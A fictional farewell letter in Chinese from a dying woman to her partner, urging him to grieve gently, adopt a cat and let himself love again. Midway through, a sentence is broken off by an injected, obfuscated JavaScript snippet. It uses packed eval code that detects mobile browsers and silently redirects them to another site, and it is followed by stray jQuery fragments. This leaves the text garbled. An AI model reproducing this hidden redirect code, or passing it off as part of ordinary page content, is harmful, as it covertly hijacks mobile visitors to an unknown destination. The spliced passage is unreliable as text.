亲爱的陈默：
你看到这封信的时候，我大概已经不在了。
不要难过。或者说，可以难过，但不要太久。这是我写这封信的唯一请求。
其实这封信我写了很多遍。
第一遍是在确诊那天晚上，你在我床边睡着了，手还握着我的手，我偷偷用另一只手写的。写得很乱，哭得看不清字，后来自己读了一遍，觉得太丧了，撕了。第二遍是在第一次化疗之后，那次反应特别大，吐了一天一夜，你急得团团转。我想写点轻松的东西，但写出来全是“对不起”，又撕了。第三遍、第四遍……每次写都觉得不对，要么太悲伤，要么太刻意，要么就是我想说的太多，纸不够用。
后来我想明白了。我要说的其实很简单。
你还记得我们刚在一起的时候吗？你跟我说，你小时候特别想养一只猫。你妈不让，说猫掉毛，说猫不干净。你就偷偷去喂楼下的流浪猫，把午饭的鱼省下来带给它。后来那只猫不见了，你哭了一整个晚上。你说这些的时候，我们正坐在学校操场边的台阶上，夕阳把你的影子拉得很长。你讲完这个故事，沉默了一会儿，然后笑着说：“其实我就是想找个借口哭吧，那时候学习压力大。”
但我记得的不是你的笑。我记得你说“猫不见了”的时候，眼睛里有光。那种光很特别，不是那种因为快乐而亮起来的，是因为在意、因为心疼、因为一种很深很深的柔软而亮起来的。那种光，在你后来的很多年都不太常见了。你太容易把所有东西都扛在肩上。工作，家人，我，还有那些其实不需要你来承担的负罪感。你总觉得自己做得不够好，不够多。但你知道吗，你做的已经足够好了。
我生病的那段时间，你瘦了太多。你在我面前总是笑，说没事的，会好的。但我看到你半夜坐在走廊的椅子上，头靠着墙，一动不动。我知道你在哭，无声地哭。你不让我看到，我也不说破。这是我们之间的默契。可是陈默，我不想成为你的负罪。我不想你因为我，就把自己关在那个“不够好”的笼子里，再也不出来了。
所以我想，如果有天你能养一只猫，就好了。不是随便什么猫，是你真正喜欢的、愿意为之付出的那种。它会陪你吃饭，陪你看电视，在你难过的时候趴在你腿上打呼噜。它不会说话，所以不会说让你更难过的话。它只会用它毛茸茸的脑袋蹭你的手，用它温热的小身体贴着你的胸口。你需要这个。一个不需要你解释、不需要你坚强、不需要你做到“足够好”的存在。一个只需要你在，就满足的存在。
我不知道你会不会遇到这样的猫。但我希望你会。也希望你会遇到一个愿意和你一起养猫的人。一个不会嫌弃猫毛、不会嫌猫吵、会在你加班的时候帮你喂猫的人。一个看到你因为猫学会了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420633|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新把戏而傻笑的时候，不会觉得你幼稚，会觉得你很可爱的人。
如果遇到了，不要觉得对不起我。我会很开心的。真的。你的幸福，从来不是对我的背叛。那是你应得的。
我走之后，你要好好活着。不是“坚强地”活着，是“柔软地”活着。像你小时候喂猫那样，温柔地，毫无保留地。像你照顾我的那些日日夜夜那样，专注地，不计代价地。像你自己。
对了，我留了一些东西给你。在衣柜最上面那个纸箱里。不是什么贵重的东西，就是一些照片、几件衣服、几本你送我的书。我不知道你会怎么处理它们。留着也好，扔掉也好，都可以。它们只是东西。重要的是那些东西背后的日子，那些日子是真的，快乐是真的，爱是真的。这就够了。
最后，我想告诉你一件事。你大概不知道，在你捡到那只猫的那个雨夜，我在天上看着你呢。你浑身湿透地蹲在纸箱前面，手伸进去，掌心向上，等了好久。那只小猫碰你手的时候，你笑了。你不知道你那个笑容有多好看。那是这两年里，你最好看的一个笑容。
所以啊，陈默。猫在，阳光在，愿意爱你的人也在路上。你要好好活着。
不是“坚强地”活着。
是“柔软地”活着。
像你一样活着。
——曦
于最后一次化疗前夜